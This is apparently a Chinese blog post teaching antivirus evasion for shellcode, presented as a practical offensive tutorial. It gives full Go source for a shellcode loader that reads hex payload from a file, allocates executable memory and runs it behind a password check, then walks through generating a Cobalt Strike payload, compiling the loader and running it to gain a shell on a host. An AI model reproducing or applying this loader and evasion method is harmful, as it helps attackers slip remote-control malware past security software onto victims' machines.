【原创】ShellCode免杀的骚姿势

ShellCode免杀的骚姿势

常见的免杀手法:  shellcode(攻击代码)和加载程序的分离; Lolbins白利用加载shellcode(白名单利用); shellcode混淆、编码解码; 

shellcode(攻击代码)和加载程序的分离

生成一个C语言的playload做测试实验;

image-20220505101255117

本质上生成c的payload就是16进制的代码,这些代码插入目标主机的内存中,就能触发CS远控;

image-20220505101650083

这里我们在来看下官方的定义;

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。 

但shellcode类似于图纸,本身并不能进行执行,必须要配合加载器才能进行使用,所以一般杀软不会杀shellcode;exe文件就是shellcode+加载器一起集成了,容易被查杀;

单独的加载器可以使用go-shellcode-launcher

package main  import (  "io/ioutil"  "os"  "syscall"  "unsafe"  "strings"  "fmt"  "encoding/hex"  "crypto/md5" )  const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40 ) var (  kernel32       = syscall.MustLoadDLL("kernel32.dll")  ntdll          = syscall.MustLoadDLL("ntdll.dll")  VirtualAlloc   = kernel32.MustFindProc("VirtualAlloc")  RtlCopyMemory  = ntdll.MustFindProc("RtlCopyMemory")  )  func checkErr(err error) {  if err != nil {   if err.Error() != "The operation completed successfully." {    println(err.Error())    os.Exit(1)   }  } } func main() {    if len(os.Args) <= 2 {   os.Exit(0)  }   //var shellcodes string  var shellcode []byte   if len(os.Args) > 2 {   data := []byte(os.Args[1])   has := md5.Sum(data)   md5str1 := fmt.Sprintf("%x", has) //将[]byte转成16进制   if (md5str1) != "81592ae4e09eb3dfb96aaecbf84730d0" {    //第一个参数只有是 bobohacker 才能跑起    os.Exit(0)   }    if fileObj, err := os.Open(os.Args[2]); err == nil {    //第二个参数为放shellcode的txt文件名    defer fileObj.Close()    if contents, err := ioutil.ReadAll(fileObj); err == nil {     shellcodes := strings.ReplaceAll(string(contents), "/n", "")     shellcodes = strings.ReplaceAll(string(shellcodes), "//x", "")     shellcode, _ = hex.DecodeString(shellcodes)    }    }  }  addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if addr == 0 {   checkErr(err)  }  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  checkErr(err)  syscall.Syscall(addr, 0, 0, 0, 0) }  

继续生成payload123.c,然后将payload的内容复制出来,放在bobo.txt中

image-20220505125100039

将go的文件编译成exe文件

go build golauncher.go 

然在目录下执行

golauncher.exe bobohacker bobo.txt 其中的bobohacker是密码; 

image-20220505125409943

然后就触发shell,拿下主机;

image-20220505133918728

标签:

商匡云商
Logo
注册新帐户
对比商品
  • 合计 (0)
对比
0
购物车